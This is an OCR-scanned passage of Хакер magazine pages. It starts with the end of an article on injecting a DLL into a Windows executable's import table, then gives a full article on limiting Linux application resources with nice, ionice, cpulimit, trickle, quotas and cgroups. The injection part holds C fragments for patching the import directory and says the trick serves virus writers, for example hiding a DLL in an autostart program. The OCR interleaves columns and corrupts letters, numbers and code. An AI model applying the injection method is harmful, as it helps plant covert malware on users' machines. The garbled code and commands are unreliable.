Поле ViгtuaiAddгess содержит так называемый RVA [гelative viгtual

~атель первой

addгessl, то есть виртуальный адрес, базированный относительно

PIMAGE_SECTION_HEADER

ImageBase. Если RVA таблицы импорта у нас равно 1eeeh, а ImageBase - ee4eeeeeh, то мы получим абсолютный виртуальный адрес равный ee4e1eeeh.

секuии iпFileSec

IMAGE_FIRST_SECTION(пth);

/1

индекс секции,

WORD

impSeciпdex

где н аходится таблица им п ор т а

= - 1;

Но тут мы встречаем первое препятствие- работать с бинарни­ ком мы будем на жестком диске, не загружая его в память. Вернее,

for ( si ze_t i = е ; i

мы его загрузим в наш буфер, но не будем расставлять секции и

{

<

поs- 1 ;

i++)_

i f (impRVA >= inFileSec[i].VirtualAddress && impRVA < inFileSec[~+ 1 ].VirtualAddress)

прочие важные части РЕ-файла по своим местам в виртуальном

адресном пространстве. Поэтому нам надо высчитать физическое

смещение таблицы импорта в файле [или, говоря по-другому,

RAW offsetl. Для зтого мы должны определить, в какой секции РЕ-файла находится lmpoгt tаЫе, вычесть из RVA таблицы RVA

impSecindex = i; break;

секции и прибавить полученное число к PoiпterToRawData секции.

}

Сама таблица секций [объектов! находится непосредственно за РЕ Неаdег, а количество элементов в этой таблице определяется по­ лем NumbeгOfSections структуры

IMAGE_FILE_HEADER.

Вооружив­

шись этими знаниями, попробуем написать код, который высчи­

тает физическое смещение таблицы импорта в модифицируемом

11

физическое смещение табли цы им п орта в файле

DWORD impRawOffset = inFileSec[impSecindex]. PointerToRawData + impRVA;

исполняемом файле .

ПРАВИМ ИМПОРТ Считаем

U ...в

RAW Offset для Import ТаЫе buff у на с прочитанный РЕ - файл . .•

После того как мы узнали адрес таблицы импорта, можно заняться непосредственным внедрением

DLL. Но сначала надо рассмотреть

структуру lmpoгt ТаЫе. По адресу, который мы получили, нахо-

PIMAGE NT HEADERS пth =_(PIMAGE_N1_HEADEB~)(( DWOIOL) ((PIMAGE_DOS_HEADER)buff)~e_lfaпew) + ( DWORD )buff);

дится каталог импорта. Фактически это массив из структур типа

IMAGE_IMPORT_DESCRIPTOR.

На каждую импортируемую динамическую

библиотеку приходится как минимум одна запись

L/

к ол-во с ек ци й в фа й л е

WORD

112

поs

=

пth->FileHeader.NumberOfSectioпs;

IMAGE_IMPORT_ DESCRIPTOR . Давай взглянем, что же представляет из себя эта структура.

ХАКЕР

11 / 154/2 011


ОLL-хардкодинг

Описание

IMAGE_IMPORT_DESCRIPTOR

BY_NAME тоже надо разместить в свободном nространстве тела исполняемого файла . При этом следует также изменить адреса и

typedef struct _IMAGE_IMPORT_DESCRIPTOR union { DWORD Characteristics; DWORD OriginalFirstThunk;

размеры данных в и

DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT) DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT) . Задача эта требует хорошего знания РЕ-формата инекоторого

напряжения мозга. Альтернативный вариант- впихнуть ин фу о

}; DWORD TimeDateStamp; DWORD ForwarderChain; DWORD Name; DWORD FirstThunk; } IMAGE_IMPORT_DESCRIPTOR;

добавляемой библиотеке прямо в те места, где она и была бы, если

Тут нас интересуют три nоля:

Благодаря тому, что информация об импортируемых именах может

Name- это RVA

быть раскидана по всему файлу, мы имеем возможность достаточно

бы она добавлялась туда линкером, а не нами. Но в этом случае нам придется пересчитать в импорте все

RVA и учесть то, что возможно

nонадобится двигать структуры, которые вообще не имеют никакого отношения к имnорту.

Первый вариант, на мой взгляд, гораздо проще в реализации .

ваться нулем

Name, OriginalFirstThunk и FirstThunk. импортируемой DLL. Имя должно заканчи­

имени

IDxDDI,

но при этом длина этой строки должна быть

гибко ее изменять . Более того, ты даже можешь придумать более

кратна двум. То есть, если мы импортируем keгne132.dll, то длина

изящное решение. Но, повторюсь еще раз, что прежде чем браться за

строки имени в байтах вместе с завершающим нулевым будет равна

это, надо расковырять не один РЕ-файл .

13, что не кратно 2. Позтому в конце мы должны добавить еще один

ПОДГОТАВЛИВАЕМ

нолик.

OгiginaiFiгstТhunk содержит в себе

RVA

массива

IMAGE_THUNK_DATA,

DLL

Когда мы разобрались с внутренним устройством исполняемых

который должен заканчиваться нулевым элементом . Сама структура

файлов

IMAGE_THUNK_DATA- это просто двойное слово, которое в большин­ стве слу чаев является RVA структуры IMAGE_IMPORT_BY_NAME . В этой структу ре хранится nоле Hint размером 2 байта, которое служит для ускоре ния поиска имен в импортируемой DLL, и непосредственно

импорт, пора заняться самой

имя импортируемой функции, которое также должно быть выровнено на границу в два байта.

Windows и написали код, который добавляет библиотеку в DLL. Для начала давай взглянем на

шаблонную реализацию главной функции динамической библиотеки.

DllMain BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)

FiгstТhunk- это фактически коnия OгiginaiFiгstТhunk, то есть она содержитте же

RVA

на

что и OгiginaiFiгstТhunk,

IMAGE_THUNK_DATA,

switch (ul_reason_for_call)

но загрузчик РЕ-файлов изменит ее содержимое при связывании с

{

библиотекой. Там будут находиться адреса имnортируемых функций.

case DLL_PROCESS_ATTACH: : :MessageBox(NULL, "Загрузилось" , "Выполняем код DLL" , МВ_ОК); break ; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break ;

Теперь, когда мы знаем, как устроены внутренности импорта в РЕ­ файле, мы можем начать инжектить свою

DLL.

Для этого нам надо

добавить в директорию импорта правильно заполненную структуру

IMAGE_IMPORT_DESCRIPTOR. Добавляем

11

IMAGE IMPORT_DESCRIPTOR

первая структура

IMAGE_IMPORT_DESCRIPTOR

в таблице

импорта

}

PIMAGE_IMPORT_DESCRIPTOR iid = (PIMAGE_IMPORT_DESCRIPTOR) (impRawOffset + (DWORD)buff);

return TRUE;

11

В параметре ul_гeason _foг_ca ll мы nолучаем причину, по которой

ищем завершающий элемент таблицы

while (iid->Name != е ) iid++;

была вызвана

DIIMain. В случае, когда этой nричиной является за­

пись о нас в таблице импорта ехе-файла, в ul_гeason_foг_call мы по­

11

лучим DLL_PROC ESS_AПACH. Далее можем выполнить любой код,

заполняем структуру IМAGE_IMPORT_DESCRIPTOR

который только захотим, в контексте процесса, в исnолняемый файл

filliiD(iid);

которого мы заинжектили нашу

11

iid++; ZeroMemory(iid, sizeof (IMAGE_IMPORT_DESCRIPTOR)); Но тут есть пара проблем. Во-первых, nри добавлении очередного элемента размер массива увеличится на sizeof(IMAGE_IMPORT_ DESCRIPTOR). Скорее всего, это приведет к тому, что мы затрем часть

инфы, на которую ссылается OriginalFirstтhunk. Во-вторых, по­ мимо

IMAGE_IMPORT_DESCRIPTOR,

нам нужно еще создать и заполнить

FirstThunk,

а также ин фу

DIIMain, то в таблице

импорта достаточно прописать всего одну функцию из нашей библиоте­

ки. Это нам на руку, так как проблема с нехваткой места для добавления доnолнительных данных о

массивы по адресам OriginalFirstтhunk и

DLL.

Поскольку весь нужный нам код выnолняется в

добавляем завершающий нулевой элемент

DLL довольно-таки

актуальна. Главное,

чтобы наша DLL экспортировала имя, которое мы укажем в импорте.

ДЛЯ ЧЕГО ЭТО НУЖНО Все, что я здесь описал, в первую очередь пригодится вирмейкерам. Наnример, можно добавить свою автозагрузке

DLL к программе, которая стоит в Windows. Даже самые умные пользователи вряд ли

по RVA в поле Name . Для всего этого нужно найти свободное место в

найдут причину непонятного поведения своего компьютера [если ты,

РЕ-файле, чтобы не затереть что-то нужное.

конечно, запрограммируешь это поведение в DIIMainl.

Самое nростое решение- это перенести таблицу в директорию

Также такой трюк можно применять для перехвата

API

в испол­

импорта [массив, куда мы добавим IMAGE_IMPORT_DESCRIPTORJ, в

няемом файле. Есть, конечно, более nодходящие для этого способы,

конец какой-нибудь секции. Так как секции в РЕ-файле обычно

но и метод с хардкод-инжектом

выравниваются по какой-либо границе, то у нас должно быть до­

DLL имеет право на существование.

Но в любом случае для правильной реализации всего тут

стато чно места, чтобы впихнуть туда нужные данные . Таблицы по

описанного потребуется хорошее знание РЕ-формата, аккуратный

адресам OriginalFirstтhunk и

и продуманный код, а также длительные тесты на разнообразных

FirstThunk,

имя инжектируемой

DLL по адресу в Name, а также массив из структур IMAGE_IMPORT_

ХАКЕР

11 /154/2011

nрограммах. :Х:

113


Евгений Зобнин lexecbit.гul

Поб~да в воине

за ресурсы ОГРАНИЧИВАЕМ LINUХ­

ПРИЛОЖЕНИЯ В РЕСУРСАХ СИСТЕМЫ

I:J:Iiullllli Е сть масса причин о г ра н ичивать п риложе н ия в ресурсах. Н а п ри­ мер, некото ры е из них время о т времени дают сбой и начинаю т по

полной г рузи т ь процессор !при ве т Adobe l. Постоя нн о п ереза п уска т ь их сли ш ком утомите л ьно и неин т ерес н о, но ес ли ус т а н овить та к ому

при л ожению ограничение на

10% п роцессарного време н и- оно н е

сможет помешать твоей работе. Таким же образом мож н о о г раничи­ вать и н еко т орые вя л отеку щ ие процесс ы , на пр име р ко д ирование

видео, которое иначе буд ет либо т ормозить в есь ос т ал ь ной софт,

либо мешать с п ать из-за д ико реву щ его п ро ц ессар н о г о кул ера. Чтобы работающий н а фо н е

wget не меша л веб-серфи нг у, д ос т у пн ый

ему интер н ет-канал можно сузить на п о л овину о т шири ны реа льн о ­

го. Ч тобы торрент-к л иент в о д и н п рекрас н ый моме нт н е забил вес ь д иск, объем д иска для этой пр о г ра м мы мож н о ог ранич и ть . В се э т о можно сделать с п омо щ ью прос т ых в и с п ользо в а н и и ути лит, а также

В

Linux

достаточно много средств

ограничения приложений в возможностях . Это и стандартные права доступа, и брандмауэр , и такие комплексные системы,

как

SELinux

и Аррдгmог. Но как

ограничить приложения в ресурсах?

мо щ нейшего механизма cgгo u ps, не так д авно вне д рен н ого в Liп ux.

ПРОЦЕССОРИ ЕГО ЯДРА Д умаю, все знают о самом просто м и у н и в ерсальном мето д е огр ан и­

чения приложений в процессо рн ых ресурсах. Это так н азываемый приоритет ис п олнения, значени я ко т о р о г о ко л еб л ются от

19.

-2 0 д о

Возможность изменени я пр иоритета п оз в о л яе т нам у п рав л ять

п л анировщиком процессов, указывая ему на то, как и е п р оцессы

lприложе н и я l д олжны по л учить больше процессар н о г о вр еме н и. Ес л и, н апример, мы за п устим me n codeг с самым н изким приорите т ом исполнения:

Например , выделить одному приложению

30 % процессарного времени, другому- 5% оперативки , а третьему- всего 128 Кб ширины интернет-канала? Об этом мы и поговорим в данной статье .

$ nice -n 1 9 mencode r -ovc la vc -lavc opt s \ v codec;mpeg in- vi deo . av i

out -v id eo . avi

То он никоим об р азом н е с м ожет помешать н а ш ей рабо т е с си ­ стемой. П роцессы m encode г буду т все гда нахо д и т ься в самом ко нц е оче р е д и и по л у ч ат у п ра в ле н ие то л ько т о гд а, когда nр о ц ессо р н е

буд е т нужен никакому д ру г ому при л оже н ию. Каза л ос ь бы, э т о заме­ ч а т е ль н ы й мето д огра нич е н и я п ри л оже н ий в р есу р сах n ро ц ессора,

но он работает то ль ко т олько в том с л учае, ко гд а ес ть ко н ку р е нц и я за р есурсы nро ц ессо р а. Е сл и же за п усти т ь n ри л ожение с низким

-

Команды

и

при о рит е т ом, ко гда в системе н ет дру ги х ак ти в ны х п р и л ожений ! на­

пр имер, н о ч ью ! , о н о в се рав н о п о лн ос т ью заг р уз ит п ро ц ессо р ! что, в свою о ч е р е д ь, nриве д ет к п о дн я т ию ч а ст от ы рабо ты про ц ессо р а, е г о

н агреву и раз г о н у охл а ж д ающе г о куле р а l . В таких си т уа ц иях сле д уе т

nice

ionice можно

Утилита

cpulimit не

складывает

производительность всех

комбинировать,

имеющихся nроцессорав системы,

создавая цепочки

поэтому чтобы позволить

следующего вида:

nрограмме наnоловину загрузить

«nice -n 19 ionice -с2

четыре х Ъядерный nроцессор,

-n7

следуетуказывать

приложен ие н .

200%.

п рименят ь др угие ме т о д ы. н а пр име р ут и ли т у Ут ил и та

cpulim it

cpu limit .

н е и зме ня ет пр иори те т прил ожен и я, а n р осто

приостанав л ивает его ис п о лн е ни е в моме нты , когд а по тр ебле ни е

про ц ессара выхо д ит за рамки за д а нн о г о ли ми т а !это д е л ается с помо щ ью бана л ьного си г на ла SIGSTO PI. П о пр о ш ес тв ии н екоторого време н и р абота приложения возоб н о вля ется с п омо щ ью с игн ала

ХАКЕР

11/154/2011


Победа в войне за ресурсы

SIGCONT,

благодаря чему создается иллюзия замедления работы

Утилита

cpulimit может работать в Liпux, FгeeBSD и других РОSIХ­

совместимых ОС. Установить ее можно с помощью дистрибутивного па кета:

cpulimit. Чт обы запустить при­ ложение под управлением cpulimit, достаточно выполнить следую­ щую команду : cpulimit - -ехе приложе ние - -limi t процент _ sudo apt-get

>

ls / mnt/cgroups / io_merged io_queued Ыkio . io_service_bytes Ыkio . io_serviced Ь lk io. io_seгv ice_ t ime Ыkio . io_wait_time Ы k io . reset_stats

cpuset .memory_migrate cpuset . memory_pressure

Ыkio .

приложения.

iпstall

процессора. Ограничить можно и уже работающие процессы:

cpulimit --pid 2960 --limit 55. Но это еще не все. С помощью cpu limit

Ыkio .

cpuset . memory_pressuгe_enab 1ed

cpuset . memory_spread_page cpuset . memary_spгead_s 1аЬ

cpuset . mems cpuset . sched_load_ba lance

Ыkio . sectors

cpuset . sched_гe 1ax_doma i n_leve 1

throttle . io_serv ice_bytes throttle. io_serviced Ыkio . thrott le. read_bps_dev ice Ы k io. throt t le. read_ iops _dev ice Ы k io . thrott le . wri te_bps_dev ice Ы k io . throt t le. wri te_ iops_dev ice Ыkio. t ime Ьlkio .weight Ы k io. we ight_dev ice cgroup . с lone_chi ldren cgroup. event_control cgroup . procs cpuacct . stat cpuacct . usage cpuacct . usage_percpu cpu .rt_period_us

cpu . shares de v ices .allow dev i ces. deny devices . list me memory.fai lcnt memory . force_empty memoгy , 1 imi t_ in_bytes memory . ma•_usage_in_bytes memory. move_charge_at_ immigrate memory . numa_stat memory . oom_contro 1 memory. soft_l imi t _ in_bytes

Ыkio . Ьlkio .

про це ссами можно управ­

лять динамически. П ользователь abcuseг на форуме ubuпtufoгums.

огg опубликовал прекрасный скри пт, который си дит на фоне и автоматически включает ограничение процессарного времени для

приложений, отъедающих больше положенного . Это скрипт, который

можно найти на нашем диске [cpulimit_daemoп.sh). Ег о следует ско­ пировать в файл /usг/local/biп и изменить первые четыре строки:

# vi /usr/local/bin/cpulimit_daemon.sh # Максимальный процент съедаемого процессара CPU_LIMIT;20 # Интервал проверок в секунду

memoгy.

stat

memory , swapp i ness

memory. usage_in_bytes

Содержимое каталога /mnt/cgгoups

DAEMON_INTERVAL; З

Ш Группа gля пользоВателя

# Черный список ограничиваемых процессов # Если пуст, будет использоваться белый список BLACK_PROCESSES_LIST;npviewer.bin # Белый список - не ограничивать эти процессы WH ITE_PROCESSES_LIST;

gгoup регm

#

Кто может упраВлять лuмuтамu?

admin { uid = UID

пользоВателя

}

Здесь я указал только одно ограничиваемое приложение­

#

прviеwег.Ьiп, это загрузчик плагинов для браузеров !обычно он под­ гружает Flash-плeep от

me { {

Кто может gоБаВлять процессы В гуппу?

task { uid = UID

Adobe, который славится своей пр ожорливо­

стью ). Ты можешь расширить блэклист по своему усмотрению. Н ужно

пользоВателя

дать скрипту право на исполнение:

}

#

$ sudo chmod 700 /usr/ bin /c pulimit_daemon. sh Д алее возьми с диска скрипт cpulimit, ско п ируй его в каталог /etc/ iпit.d и уста н ови н а него правильные права до с т упа :

$ sudo chown root:root /etc / init.d /cp ulimit $ sudo chmod 755 /etc / init .d/cpulimit

К какuм поgсuстемам прuВязана эта группа?

cpu { } memoгy { } Ыkio { } group me/npvieweг { cpu { cpu.shaгes = 100;

Запусти и добавь в автозапуск:

memoгy

$ sudo /etc /i nit.d /c pulimit start $ sudo update-rc.d cpulimit default s

{

memoгy.limit

in bytes = •

100М;

(!i!Jg,J , Jil. нg ,J,JMi3 ,J,JI

Теперь указанные в скрип т е процессы будут под наблюдением и никогда не съедят больше положенного куска процессора.

ПАМЯТИ МНОГО НЕ БЫВАЕТ

Редактируем конфиг cgгoups

Однако з д есь кроется п одвох : о дна жды снизив лимит, его уже

Ограничить объем доступной процессу п амя ти еще проще. В любом

нельзя поднять вновь !это сделано для безопаснос ти) , поэтому

РОSIХ - совместимом командном интерпретаторе есть команда

трюк с установкой лимита, запуском нужного приложения и его

ulimit, которая позволяет управлять некоторыми ограничениями,

последующим сня т ием не пройдет. Выйти из этой ситуации можно,

накладываемыми на порождаемые ей пр о це ссы !для этого ис­

запустив новый командный интерпретатор и установив лимит уже

пользуется систем н ый вызов setгlimit). По умолчанию командный

в нем. Д елать это вручную необязательно, достаточно создать про­

интерпретатор никак не огра ничив ает разме р оперативной п амя ти ,

стой скри пт :

доступной приложениям, в чем можно убе дить ся, за п устив следую­

#!/bin/sh ulimit -m $1 $2

щую команду :

$ ulimit -m unlimited

Сохра нив э т о т с крипт в файл -/Ьiп/ml imit и уста н овив на н его флаг Чтобы исправить это, до статочно передать размер лимита на

исполнения, можно запускать приложения с о гр аниче ни ем на объ-

память в качестве аргумента кома нды . Например, установить лимит

ем доступной памяти следующим образом:

по потреблению памяти в

xterm.

100

Мб можно так

1100 • 1024

Кб;

100

Мб):

mlimit $( (50*1024))

Почти то же самое делает приложение под названием softlimit

$ ulimit -m $((100*1024))

ХАКЕР

11 / 154/ 2011

l goo.gi/Qгc7k ).

115


UNIXOID $ sudo ionice -с2 -n7 traпsmissioп

АНАЛОГСУПЕРПАТЧА В 200 СТРОК, УСКОРЯЮЩЕГО ПРОИЗВОДИТЕЛЬНОСТЬ СИСТЕМЫ

тетом ввода-вывода. В любой момент приоритет э то го приложения

Пишем в файл /etc/гc.local сле дую щ ие строки:

$ sudo ioпice -сЗ -р 1234

mount -t cgroup cgroup /sys/ f s/c gr~p /cp u mkdir -m е777 /sys/ fs /c group/c pu / user

Эта команда запустит торрент-клиент с самым низким приори­

можно буд е т измени ть с помощью все того же ioпice. Например, с ле­ дую щ ая команда уста н ови т приоритет класса

ldle

для процесса

1234:

Такой прием удоб н о использовать в слу ча ях , когда приложение

cpu

начинает с лиш ком интенсивно работать с жестким ди ско м и стопо ­

рит все оста льны е пр оцессы. Убивать е г о жалко, а во т приостановить

Исполняем их:

работу вполне возможно. Также можно ограничить приложение в возможности за пи си

$_ sudo sh_Let!J_cc .local

о пред е л е нн о го объема данны х на ди ск. Во вс ех н иксах есть п о д­

Создание файла -/.config/autostaгt/cgгoup.sh следую щ его

держка ди сков ы х квот, которые можно ис п о л ьзова ть для установки

со держания:

лимита на объем жестко го диска для каждого пользователя. Этот же

mkdir -m е7ее /sys/fs /cgroup /c pu / us er /$$ echo_j$ ~/ sy2}~~roup Lcpu/usecJ$$L!asks

механизм подойдет и для ограничения индивидуальных прил ожений, достаточно только запуска ть их с прав ами разных юзеров. Н апр и мер, если хочется ограни чи ть объем дискового п рос тр анства для програм­

Перезапуск графической оболочки.

мы tгansmiss i oп

100 г и г абайтами, необходимо сделать сле д ующее :

Добавляем в систему нового пользователя !пусть его имя будет

1.

quota_100gb]:

$ sudo adduser quota_leegb ПОЛОЖИТЕ ДИСК НА МЕСТО Теперь поговорим о дисках . Е с ть как минимум две об л ас ти , в которых

можно ограничить приложения при р аботе с д иском: а] приоритет ввода-вывода , который можно сниз ить для о тд ельно взятых прило­

жений, чтобы они не загружали жес т кий диск и не тормоз или работу

других приложений и всей сис т емы в целом; б ] общий объем доступ­ ного пространства и максимальный размер сохраняемых файлов,

упра вляя которыми, мож н о избежать ситуаций, когда о дна софтина полностью заполняет жесткий диск своими данными.

Первая задача решается с помощью утилиты под незамысло­ ватым названием i oпice. Как и свой собрат без приставки

io,

он по­

зволяе т устанавлива ть индивидуальные при оритетына каждый про­ ц есс, однако действует в отношении планировщика ввода-вывода,

а не планировщика процессов . Ут илита ioпice д елит все возможные

tap- 22:813:07 up 23 days , 50 min . 2 users . Tasks: 134 total, 2 runпing , 126 sleeping,

L...... Swap:

79652k cached

fгее,

ljij!.!Щ

В

20

В

В

В

В

20

В

В

В В В

28 20 2В

154m 25m 3716 5 261m 8576 6128 S 15Bm 11m 488В 5 85Bm 13m 692В 5 852m 16m 7624 5 8 В В S 1В784 114В 828 R 1B94m 199m 15m 5 SBlm 107m 18m S 852m 14m 7464 S 3916 416 388 5

4 Э

1 1 1

1.3 694:37.В1 Х 0.4 158 :83.76 chromium В.6 12:53.15 l il yteгm В. 7 1:15. В4 chгomium В.8 1:42.79 chгomium

В

В.В

В

B.l 9.9 5.3 0.7

В В В

B:Bl.lВ lcwoгkeг / 8 :8

B:BB.BS top 28 : 25 .8В chгomium 57:81.131 chгomium 1:27.12 chгamium

В

В

В

S

В В

В.В В.В

init

20

В В

В :26 . В7

root

0 :01 . 82

kthгeadd

28

В

В

В

В

S

В

8 .8

6 :85 . 71

ksoftiгqd/8

б гооt

RT

В

В

В

В

В.В

В : ВВ.ВВ migгation / B

В

-20

В

В

В

В

В.В

В:ВВ.ВВ

гооt

В -2В

В

В

В

В

В.В

В : ВВ . ВВ khelpeг

гооt гооt

В

-213

20

В

·В В

В е

В В

5 S 5 5 S

8

гооt

В В

В.В В.В

В : ВВ.ВВ netns В : ВБ . ВВ sync_supeгs

13 14 15 16

том случае, если ни о дн о другое п риложе ни ене с д е ла е т э то . Э т о

161814Bk

Э гооt

2

сяк этому классу, п олуча т возможность работы с ди ском толь ко в

342624k used ,

U*IIMIIjM•)S.WII•4WMQI•il:llj-iljliMH 28 В 125m 19m 3312 S 14 1.8 748:11.16 npviewer.bln

947 гооt 18013 jlm 6444 j 1m 3148В j1m 31526 j1m 121513 гооt 12396 jlm 17834 j1m 31430 jlm 31516 jlm 1 гооt

1. ldle. Приложения, имеющие п риоритет ввода-вывода, отн осящий­

шении различных вяло т екущих, но д ол г о работающих проце ссов,

1952764k total ,

18034 jlm

приоритетына три класса:

самый низкий класс приоритетов, е го удобно использовать в отно­

load average: 8.27 , 8.11 . 8.08 8 stopped, б zoJТt>ie

Cpu(s): 9.0%us , З.?'Zsy, B.Bini , BS.S:~id , l.B'Xwa, B. B:Z.hi , B.B%si , B.B%st Hem : 20591BBk total, 1968876k used, 9HI24k: fгее, lllБBk buffers

cpuset

И это при том, что ни одного флеw-баннера в брауэере не открыто

которые могут п о дожд а ть . В это м к л ассе есть всего одно з нач ение при оритета -0 .

2. Best effort. Класс пр иори т е тов, используемый для всех процессов по умолча ни ю. Запросы ввода-вывода прил оже ний с при оритетом

Flle

Edlt

View Help

Resources

Conlrol Groups

этого класса обс л ужив ают ся по очере д и, но первыми получают

Proceuor Home

прав о на работу ди ском п роцессы с бо л ее вы соким приорит е -

Groups

том, который может иметь значе ни е от О до 7 10- сам ый высокий приоритет, 7 - самый н изкий]. П ри этом учитывается т акже и стан­ дартный приоритет, за д ан ны й командой пiсе, так что прил ожения, запу щ енные с помощью «п iсе -п

19 Ыа-Ыа-Ыа>>,

буд ут последними

> ProcessorSМru

ffrкtiveProcessorAIIocatlon

Ssl'tarts

2S,.ormore

!!!а Memory

О Dlskl/0

~~

Network

во всехочере д ях всех планировщиков.

3. Real t ime. Приоритеты реального времени, п ри ло же ния с при ори ­ т етом этого класса буд ут всегда и во всех ситуациях пол у чать д оступ к диску п ервыми. Восемьдоступных уро вн ей приоритетое

I0 -7] здесь используются для указания длит е л ьнос ти времени, отведе нн ого н а ввод-вывод. Е сли в системе есть несколько про­ цессов с таким приоритетом, они будут обс л ужива ть ся по очере ди . За каж дым из трех классов при о ри тетое закреплен ном е р:

1 - геаl

time, 2- best-effoгt, 3 - idle. Ч тоб ы запус тить приложение с каким­ либо приоритетом ввода-вывода, сле дует передать его и м я как

Vlrcu.IIM•chlnes

V Processor lnfo

ssrwes

SsuЬJroups;34processes

Processor lllt: Jntei(R)Corf(ТMJ2Duo

CPU L7SOO 0

1 .бOGHz

Procfsses lnthltsroup: • •

/uir/Ьinlmysqld_safe

lntei!R)Corf{ТMJ2Duo

CPU L7500 @11.60G Hz

8

db.qUWf

postarн

• •

/uir/Ьinlpepool

Processor•2:

tusrlliЬtxec/mysqkl

.'""'

ora_disp~~lch

SO..ormorf ()

(10ShlfH}

AttuaiProcess.orusa&t: Avera&e 21.8'tlo (Ovfr 1М ,nst24 hours}

Hl&h

O'lto

Low

~

аргумент коман ды ioпice, указав номер класса приоритетаи н омер приоритета в качестве опций. Нап ример:

116

nрототип графического интерфейса управления cgгoups в Fedoгa

ХАКЕР

11/154/2011


Победа в войне за ресурсы

> ps aux

1 gгер npvieweг

j1m j1m

12303

0 . 0 0.0 9~92 9~8 pts/2 S+ 21 :55 0 :00 gгер npvieweг 15 .8 0.9 12820~ 20116 7 51 Sep0~ 7~7:33 /usг/liЬ/nspluginwгappeг/i386/li nux/npvieweг.bin --plugin /usг/lib32/mozilla/plugins/libflashplayeг.so --connection /огg/wгаррег/ 1803~

NSPlugins / libflashplayeг.so/18013-2/180~289383

>1

С помощью простой к оманды можно выяснить, что npviewer. Ьin- это Flash-плeep

В качестве домашне г о каталога указываем свой домашний ка т а­ лог. Пароль оставляем пус т ым.

ложений, то мож н о воспользоваться tгiсklе-демоном . Н ужно просто за п устить демон, указав нужные скорости:

2. Устанавливаемдля пользователядисковую квоту объемом 100 Г б:

$ trickled -d 128 -u 128

$ sudo apt-get $ su

iпstall

quota И за п ускай нужные приложения уже без указания скорост и:

# init 1 Открываем файл /etc/fstab, находим раздел, содержа щи й ка т алог

/ home, и добавляем к нему опцию usгquota: /dev/sda7 / home ext4 defaults,usrquota

е

$ trickle wget ftp ~/ kernel .o rg/ Ьla-Ьla-Ыa $ trickle transmission $ trickle chromium Те п ерь вс е три приложения п олуча т канал шириной 128 кб/с.

1

После этого перемонтируем раздел /home и инициализируем

ГР У П П ИР У ЕМСЯ

механизм управления квотами:

Все выш е рассмотренные методы, хоть и немного извращенные, хоро­

# mount -о remount / home # quotacheck -cugm / home

телям Liпux, которые не собираются в ближайшее время менять его на

ши тем, чт о работают практически в любом юниксе. Однако пользова­ что-то другое, я бы рекомендовал по смотреть в сторо н у cgгoups. Сопtгоl Gгoups- это подсистема L i пu х-я дра , позволяющая объеди­

Запускаем следующую команду, чтобы зада ть квоту поль зовате­ лю

quota_1 OOgb:

нять не сколько процессов и их потомков в группы, для каждой из которых могут существовать свои ограничения н а д оступ к ресурсам

опера ци о нн ой системы . Изначально п о дсистема была разработана для

# ЕDПОR=любимы й_редактор edquota -u quota_1eegb

работы в связке с системой виртуализации уровня ОС, но может быть без каких -либо о гран иче ний использована и как обособленный механизм.

Откроется редактор с таблицей, похожей на со д ержимое файла

У пр ав лени е подсистемой cgгoups происходит через файлы одно­

/etc/ fstab. В колонке haгd указываем размер квоты в килобайтах,

именной виртуальной файловой сис темы, но для удобства можно ис­

чтобы вычислить правильное значение, для этого можно ис­

пользовать и более высокоуровневые инструменты , такие как демон

пользовать следующую кома нд у !если речь идет о 100 Гб]: echo

cgcoп f ig, читающий файл /etc/cgcoпfig.co п f п ри старте и автоматиче­

$( (100*1024*1024) ) .

ски соз д ающий г отовую к использованию иерархию групп и закре­

Сохраняем файл, выходим из однопользовательского режима:

пленных за ней ограничений, cgcгeate, д обавляющую новые группы, и

cgexec,

п озволяющую привя за ть определенный процесс к т ой или

и но й гр у пп е. Эти инструменты распространяются в составе па кета

# init 5 # exit

сgгоuр -Ьi п, так что е г о необходимо ус т а н овить в первую очередь.

3. Запускаем приложениесограничением:

монтирования, в качестве которой обычно используется каталог 1

Далее с л е дует подключить файловую систему cgгoup к точке

mпt/cgгoups:

$ sudo -u quota_1eegb transmission $ sudo mkdir / mnt / cgroups $ sudo mount -t cgroup nопе / mnt /cg roups

БЕЗДОННАЯ СЕТЬ Управлять пропускной с п особностью канала для отдельно взятых пр и­

Туда же следует подключить виртуальные файловые системы

ложений можно с помощью у тили ты tгickle, кот орая, как и описанная

ранее команда

cpul imit, п росто приостанавливает передач у данных

от приложен и я и к н ему в случае превышения указанного лимита !это

нужных п одсистем, ко т орые как раз и отвечают за ограничение

ресурсов . Всего таких подсистем сущес т вует девять:

делается с помощью подложной функции socket] . Утилита есть в пакетах для любого дистрибутива, поэтому установи ть

cgroups

Подсистемы

ее просто:

Ыkio

$ sudo apt-get install trickle

cpu - ограничение использования процессора; cpuacct - собирает статистику использования процессора; cpuset - привязка процессов одной группы к конкретному;

Далее можно запусти ть л юбое п риложе ни е с огран ич ением:

$ trickle -d 128 -u 128 \ wget

ftp ~// kerпel.org/Ьla-Ыa-Ыa

Здесь оп ц ия

'-d'

задает скорость загрузки,

ядру

• • • ' - u'

- скорос ть

-

лимиты на пропускную способность ввода-вывода;

процессора;

devices f ceezer memory net_cls -

управление доступом к устройствам; заморозка и разморозка процессов ~ ограничения на использования оперативной памяти; помечает сетевые пакеты процессов

идентификатором класса

(classid)

для последующий

скачивания !оба в килобайтах в секун д у ! . Е сли есть п отребность в

настройки ограничения пропускной способности с помощью

выделении одинаковой шир ины канала с ра зу для нескольких при-

подсистемы

ХАКЕР

11/154/2011

Traffic Control (tc);

117


UNIXOID ns -

управление

пространствами

Но мы ограничимся тремя из них: Ыkio ,

net_cls также

Запустим tгansmissioп, привязав его к указанной группе:

имен.

cpu

и memoгy. Подсистема

тельно из-за необходимости ручной настройки шейпинга с помощью утилиты

tc,

$ cgexec -g Ыkio:me/transmission transmission

может быть полезна, но использовать ее затрудни­

что не только жутко неудобно, но и просто вульгарно на

Также создадим отдельную группу для Flаsh-плагина, жрущего память и процессор:

фоне существования простого в использовании шейпера tгickle.

Итак , чтобы подключить подсистемы, нужно открываем файл

cgcondig.conf

/etc/

$ cgcreate -g cpu,memory:me/npviewer

и добавляем в него следующие строки:

Ограничим его

$ sudo vi /etc/cgconfig.conf

10241

mount { cpu = /mnt/cgroups/cpu; memory = /mnt/cgroups/memory; Ыkio

100 Мб памяти и 10% (доступные значения от 1 до

процессарного времени:

